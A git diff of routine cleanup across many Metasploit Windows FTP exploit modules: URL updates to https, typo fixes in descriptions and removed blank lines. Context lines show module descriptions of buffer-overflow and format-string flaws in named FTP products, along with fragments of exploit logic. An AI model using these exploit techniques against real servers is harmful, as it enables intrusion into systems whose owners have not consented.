+++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/ftp/cesarftp_mkd.rb b/modules/exploits/windows/ftp/cesarftp_mkd.rb
index d4e9ea1b82..ff1718ef4d 100644
--- a/modules/exploits/windows/ftp/cesarftp_mkd.rb
+++ b/modules/exploits/windows/ftp/cesarftp_mkd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -79,5 +79,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb b/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb
index 57880b62c5..d20f38a6dd 100644
--- a/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb
+++ b/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -14,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'          => 'ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability',
       'Description'   => %q{
           This module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially
-        crafted format string specifier as a username. The crafted username is sent to to the server to
+        crafted format string specifier as a username. The crafted username is sent to the server to
         overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer
         is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code.
         The SEH exit function is preferred so that the administrators are not left with an unhandled
@@ -191,5 +190,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/ftp/dreamftp_format.rb b/modules/exploits/windows/ftp/dreamftp_format.rb
index 70fafb95d0..e959770970 100644
--- a/modules/exploits/windows/ftp/dreamftp_format.rb
+++ b/modules/exploits/windows/ftp/dreamftp_format.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/easyfilesharing_pass.rb b/modules/exploits/windows/ftp/easyfilesharing_pass.rb
index b576bf3aa7..f0f1ac6fad 100644
--- a/modules/exploits/windows/ftp/easyfilesharing_pass.rb
+++ b/modules/exploits/windows/ftp/easyfilesharing_pass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,5 +72,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb
index a6a1653528..e135f2d68d 100644
--- a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb
+++ b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -118,5 +118,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/easyftp_list_fixret.rb b/modules/exploits/windows/ftp/easyftp_list_fixret.rb
index e487db140e..06b2943fe2 100644
--- a/modules/exploits/windows/ftp/easyftp_list_fixret.rb
+++ b/modules/exploits/windows/ftp/easyftp_list_fixret.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -114,5 +114,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb
index e7504ff1bd..15bd4493b5 100644
--- a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb
+++ b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -118,5 +118,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/filecopa_list_overflow.rb b/modules/exploits/windows/ftp/filecopa_list_overflow.rb
index 9e0fa590e2..f417fa2f2e 100644
--- a/modules/exploits/windows/ftp/filecopa_list_overflow.rb
+++ b/modules/exploits/windows/ftp/filecopa_list_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -57,5 +57,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/filewrangler_list_reply.rb b/modules/exploits/windows/ftp/filewrangler_list_reply.rb
index 763701eddd..98255efce3 100644
--- a/modules/exploits/windows/ftp/filewrangler_list_reply.rb
+++ b/modules/exploits/windows/ftp/filewrangler_list_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -105,5 +105,4 @@ class MetasploitModule < Msf::Exploit::Remote
     return
 
   end
-
 end
diff --git a/modules/exploits/windows/ftp/freefloatftp_user.rb b/modules/exploits/windows/ftp/freefloatftp_user.rb
index 7a8a24ac13..fbd4fb6d15 100644
--- a/modules/exploits/windows/ftp/freefloatftp_user.rb
+++ b/modules/exploits/windows/ftp/freefloatftp_user.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/ftp/freefloatftp_wbem.rb b/modules/exploits/windows/ftp/freefloatftp_wbem.rb
index 872e5ff330..78ef7bd755 100644
--- a/modules/exploits/windows/ftp/freefloatftp_wbem.rb
+++ b/modules/exploits/windows/ftp/freefloatftp_wbem.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -151,5 +151,4 @@ class MetasploitModule < Msf::Exploit::Remote
       t.kill
     end
   end
-
 end
diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb
index e9f1570096..4be8f558fe 100644
--- a/modules/exploits/windows/ftp/freeftpd_pass.rb
+++ b/modules/exploits/windows/ftp/freeftpd_pass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         PASS command. This may allow a remote attacker to cause a buffer overflow,
         resulting in a denial of service or allow the execution of arbitrary code.
 
-        FreeFTPd must have an account set to authorization anonymous user account.
+        freeFTPd must have an account set to authorization anonymous user account.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/windows/ftp/freeftpd_user.rb b/modules/exploits/windows/ftp/freeftpd_user.rb
index 86c5d26d11..eb3a31af4d 100644
--- a/modules/exploits/windows/ftp/freeftpd_user.rb
+++ b/modules/exploits/windows/ftp/freeftpd_user.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -91,5 +91,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb b/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb
index 4a3f5c083e..af09994bc8 100644
--- a/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb
+++ b/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -83,5 +83,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Wait for hunter ...")
     return
   end
-
 end
diff --git a/modules/exploits/windows/ftp/ftppad_list_reply.rb b/modules/exploits/windows/ftp/ftppad_list_reply.rb
index 51f8a6e1bd..e52f6e9410 100644
--- a/modules/exploits/windows/ftp/ftppad_list_reply.rb
+++ b/modules/exploits/windows/ftp/ftppad_list_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -88,5 +88,4 @@ class MetasploitModule < Msf::Exploit::Remote
     conn.close
     return
   end
-
 end
diff --git a/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb b/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb
index 31744286f0..590eabf90b 100644
--- a/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb
+++ b/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,8 +14,8 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'FTPShell 5.1 Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
-        triggered when the ftp clients tries to process an overly response to a PWD command.
-        This will overwrite the saved EIP and structured exception handler.
+        triggered when the ftp client tries to process an overly long response to a PWD
+        command. This will overwrite the saved EIP and structured exception handler.
       },
       'Author' 	 =>
         [
@@ -78,5 +78,4 @@ class MetasploitModule < Msf::Exploit::Remote
     return
 
   end
-
 end
diff --git a/modules/exploits/windows/ftp/ftpsynch_list_reply.rb b/modules/exploits/windows/ftp/ftpsynch_list_reply.rb
index 1a10e1d0e6..c5195572c6 100644
--- a/modules/exploits/windows/ftp/ftpsynch_list_reply.rb
+++ b/modules/exploits/windows/ftp/ftpsynch_list_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,5 +93,4 @@ class MetasploitModule < Msf::Exploit::Remote
     conn.close
     return
   end
-
 end
diff --git a/modules/exploits/windows/ftp/gekkomgr_list_reply.rb b/modules/exploits/windows/ftp/gekkomgr_list_reply.rb
index 43328997c2..58d66d445a 100644
--- a/modules/exploits/windows/ftp/gekkomgr_list_reply.rb
+++ b/modules/exploits/windows/ftp/gekkomgr_list_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -102,5 +102,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status(" - Payload sent, wait for hunter...")
     return
   end
-
 end
diff --git a/modules/exploits/windows/ftp/globalscapeftp_input.rb b/modules/exploits/windows/ftp/globalscapeftp_input.rb
index 06ce210b5a..8544007d29 100644
--- a/modules/exploits/windows/ftp/globalscapeftp_input.rb
+++ b/modules/exploits/windows/ftp/globalscapeftp_input.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,5 +59,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb
index b49d1449de..f082e41005 100644
--- a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb
+++ b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/ftp/httpdx_tolog_format.rb b/modules/exploits/windows/ftp/httpdx_tolog_format.rb
index 009cbe8884..10d42e2050 100644
--- a/modules/exploits/windows/ftp/httpdx_tolog_format.rb
+++ b/modules/exploits/windows/ftp/httpdx_tolog_format.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'HTTPDX tolog() Function Format String Vulnerability',
       'Description'    => %q{
           This module exploits a format string vulnerability in HTTPDX FTP server.
-        By sending an specially crafted FTP command containing format specifiers, an
+        By sending a specially crafted FTP command containing format specifiers, an
         attacker can corrupt memory and execute arbitrary code.
 
         By default logging is off for HTTP, but enabled for the 'moderator' user
@@ -208,7 +208,6 @@ For now, that will have to be done manually.
     print_status("Please be patient, the egg hunter may take a while...")
     connect
   end
-
 end
 
 
diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb
index 337b522f87..865182a038 100644
--- a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb
+++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/ftp/leapftp_list_reply.rb b/modules/exploits/windows/ftp/leapftp_list_reply.rb
index 824d7e0e35..4fa7b2eb3f 100644
--- a/modules/exploits/windows/ftp/leapftp_list_reply.rb
+++ b/modules/exploits/windows/ftp/leapftp_list_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -90,5 +90,4 @@ class MetasploitModule < Msf::Exploit::Remote
       conn.close
       return
   end
-
 end
diff --git a/modules/exploits/windows/ftp/leapftp_pasv_reply.rb b/modules/exploits/windows/ftp/leapftp_pasv_reply.rb
index 5ded114664..f277033c1b 100644
--- a/modules/exploits/windows/ftp/leapftp_pasv_reply.rb
+++ b/modules/exploits/windows/ftp/leapftp_pasv_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb b/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb
index 46ebc5d63f..b09e6e3e73 100644
--- a/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb
+++ b/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -165,5 +165,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     end
   end
-
 end
diff --git a/modules/exploits/windows/ftp/netterm_netftpd_user.rb b/modules/exploits/windows/ftp/netterm_netftpd_user.rb
index f7535a9ce9..f83077c75d 100644
--- a/modules/exploits/windows/ftp/netterm_netftpd_user.rb
+++ b/modules/exploits/windows/ftp/netterm_netftpd_user.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -101,5 +101,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/odin_list_reply.rb b/modules/exploits/windows/ftp/odin_list_reply.rb
index afe59385b0..65d60b4c5b 100644
--- a/modules/exploits/windows/ftp/odin_list_reply.rb
+++ b/modules/exploits/windows/ftp/odin_list_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -97,5 +97,4 @@ class MetasploitModule < Msf::Exploit::Remote
     return
 
   end
-
 end
diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb
index a0f2481751..dc3fe7eac5 100644
--- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb
+++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -147,5 +147,4 @@ class MetasploitModule < Msf::Exploit::Remote
       t.kill
     end
   end
-
 end
diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb
index ed513018f3..5b48a939b4 100644
--- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb
+++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,5 +82,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb
index fee77e10d7..d6e00cdc6a 100644
--- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb
+++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/pcman_put.rb b/modules/exploits/windows/ftp/pcman_put.rb
index 049bb07434..62b21be60f 100644
--- a/modules/exploits/windows/ftp/pcman_put.rb
+++ b/modules/exploits/windows/ftp/pcman_put.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a buffer overflow vulnerability found in the PUT command of the
           PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
-          credientials are enabled.
+          credentials are enabled.
       },
       'Author'         =>
           [
@@ -74,5 +74,4 @@ class MetasploitModule < Msf::Exploit::Remote
     send_cmd( ["PUT", sploit], false )
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/pcman_stor.rb b/modules/exploits/windows/ftp/pcman_stor.rb
index c10bd68901..0499646bf2 100644
--- a/modules/exploits/windows/ftp/pcman_stor.rb
+++ b/modules/exploits/windows/ftp/pcman_stor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -89,5 +89,4 @@ class MetasploitModule < Msf::Exploit::Remote
     send_cmd( ["STOR", "/../" + sploit], false )
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/proftp_banner.rb b/modules/exploits/windows/ftp/proftp_banner.rb
index fe3ef637d9..51747e8a1d 100644
--- a/modules/exploits/windows/ftp/proftp_banner.rb
+++ b/modules/exploits/windows/ftp/proftp_banner.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -60,5 +60,4 @@ class MetasploitModule < Msf::Exploit::Remote
     buffer << "\r\n"
     client.put(buffer)
   end
-
 end
diff --git a/modules/exploits/windows/ftp/quickshare_traversal_write.rb b/modules/exploits/windows/ftp/quickshare_traversal_write.rb
index 82975b088c..0d31554cf1 100644
--- a/modules/exploits/windows/ftp/quickshare_traversal_write.rb
+++ b/modules/exploits/windows/ftp/quickshare_traversal_write.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -158,5 +158,4 @@ class MetasploitModule < Msf::Exploit::Remote
       t.kill
     end
   end
-
 end
diff --git a/modules/exploits/windows/ftp/ricoh_dl_bof.rb b/modules/exploits/windows/ftp/ricoh_dl_bof.rb
index 01b9ea9fa2..8f4f2e6d7d 100644
--- a/modules/exploits/windows/ftp/ricoh_dl_bof.rb
+++ b/modules/exploits/windows/ftp/ricoh_dl_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/ftp/sami_ftpd_list.rb b/modules/exploits/windows/ftp/sami_ftpd_list.rb
index 668a5e579b..8c3713a091 100644
--- a/modules/exploits/windows/ftp/sami_ftpd_list.rb
+++ b/modules/exploits/windows/ftp/sami_ftpd_list.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,5 +72,4 @@ class MetasploitModule < Msf::Exploit::Remote
     send_cmd( ['LIST', buf], false )
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/sami_ftpd_user.rb b/modules/exploits/windows/ftp/sami_ftpd_user.rb
index aceac93b3e..4204a62eb2 100644
--- a/modules/exploits/windows/ftp/sami_ftpd_user.rb
+++ b/modules/exploits/windows/ftp/sami_ftpd_user.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -91,5 +90,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/sasser_ftpd_port.rb b/modules/exploits/windows/ftp/sasser_ftpd_port.rb
index a3be6a869f..ab320aef43 100644
--- a/modules/exploits/windows/ftp/sasser_ftpd_port.rb
+++ b/modules/exploits/windows/ftp/sasser_ftpd_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -61,5 +61,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/scriptftp_list.rb b/modules/exploits/windows/ftp/scriptftp_list.rb
index 9dd5c28969..2ab92a7b0f 100644
--- a/modules/exploits/windows/ftp/scriptftp_list.rb
+++ b/modules/exploits/windows/ftp/scriptftp_list.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
         vulnerability that is triggered when processing a sufficiently long
         filename during a FTP LIST command resulting in overwriting the
         exception handler. Social engineering of executing a specially crafted
-        ftp file by double click will result in connecting to our malcious
+        ftp file by double click will result in connecting to our malicious
         server and perform arbitrary code execution which allows the attacker to
         gain the same rights as the user running ScriptFTP. This vulnerability
         affects versions 3.3 and earlier.
@@ -170,5 +170,4 @@ class MetasploitModule < Msf::Exploit::Remote
     conn.close
     return
   end
-
 end
diff --git a/modules/exploits/windows/ftp/seagull_list_reply.rb b/modules/exploits/windows/ftp/seagull_list_reply.rb
index a3bfa6be94..503b5f12cf 100644
--- a/modules/exploits/windows/ftp/seagull_list_reply.rb
+++ b/modules/exploits/windows/ftp/seagull_list_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Seagull FTP v3.3 Build 409 Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a buffer overflow in the Seagull FTP client that gets
-        triggered when the ftp clients processes a response to a LIST command. If the
+        triggered when the ftp client processes a response to a LIST command. If the
         response contains an overly long file/folder name, a buffer overflow occurs,
         overwriting a structured exception handler.
       },
@@ -107,5 +107,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status(" - Wait for omelet hunter...")
     return
   end
-
 end
diff --git a/modules/exploits/windows/ftp/servu_chmod.rb b/modules/exploits/windows/ftp/servu_chmod.rb
index 78fe8ea7dd..7355ac1f76 100644
--- a/modules/exploits/windows/ftp/servu_chmod.rb
+++ b/modules/exploits/windows/ftp/servu_chmod.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -90,5 +90,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/servu_mdtm.rb b/modules/exploits/windows/ftp/servu_mdtm.rb
index cb107ff786..e52eff39ac 100644
--- a/modules/exploits/windows/ftp/servu_mdtm.rb
+++ b/modules/exploits/windows/ftp/servu_mdtm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -180,5 +180,4 @@ class MetasploitModule < Msf::Exploit::Remote
     res = send_cmd( ['P@SW'], true )
     return (res and res =~ /^500/) ? true : false
   end
-
 end
diff --git a/modules/exploits/windows/ftp/slimftpd_list_concat.rb b/modules/exploits/windows/ftp/slimftpd_list_concat.rb
index 17d1b1f6e3..2638eb7753 100644
--- a/modules/exploits/windows/ftp/slimftpd_list_concat.rb
+++ b/modules/exploits/windows/ftp/slimftpd_list_concat.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -64,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/trellian_client_pasv.rb b/modules/exploits/windows/ftp/trellian_client_pasv.rb
index a70937ae9b..ef05e7a604 100644
--- a/modules/exploits/windows/ftp/trellian_client_pasv.rb
+++ b/modules/exploits/windows/ftp/trellian_client_pasv.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote
     client.put(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/ftp/turboftp_port.rb b/modules/exploits/windows/ftp/turboftp_port.rb
index 81e8153a86..729cac4574 100644
--- a/modules/exploits/windows/ftp/turboftp_port.rb
+++ b/modules/exploits/windows/ftp/turboftp_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -190,5 +190,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
